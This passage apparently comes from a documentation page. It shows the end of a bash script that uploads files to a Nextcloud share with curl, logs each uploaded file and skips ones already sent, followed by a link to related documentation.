echo "Uploading $file ..."
|
||||
|
||||
# Upload the file
|
||||
response=$(curl -k -s -T "$file" -u "$NEXTCLOUD_SHARE:$NEXTCLOUD_SHARE_PASSWORD" -H 'X-Requested-With: XMLHttpRequest' "$URL$filename")
|
||||
|
||||
# Get the HTTP status code
|
||||
status_code=$(curl -s -o /dev/null -w ''%{http_code}'' "$URL$filename")
|
||||
|
||||
# # Print the HTTP status code
|
||||
# echo "HTTP status code: $status_code"
|
||||
|
||||
# # Check the HTTP status code
|
||||
# if [[ "$status_code" = "200" ]]; then
|
||||
# # If upload was successful, record this file in the log
|
||||
echo "$file" >> "$LOGFILE"
|
||||
# else
|
||||
# echo "Failed to upload $file"
|
||||
# fi
|
||||
else
|
||||
echo "Skipping previously uploaded file $file"
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
## Related Documentation
|
||||
- [Related Files and Collaboration Documentation](<../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
|
||||
Reference in New Issue
Block a user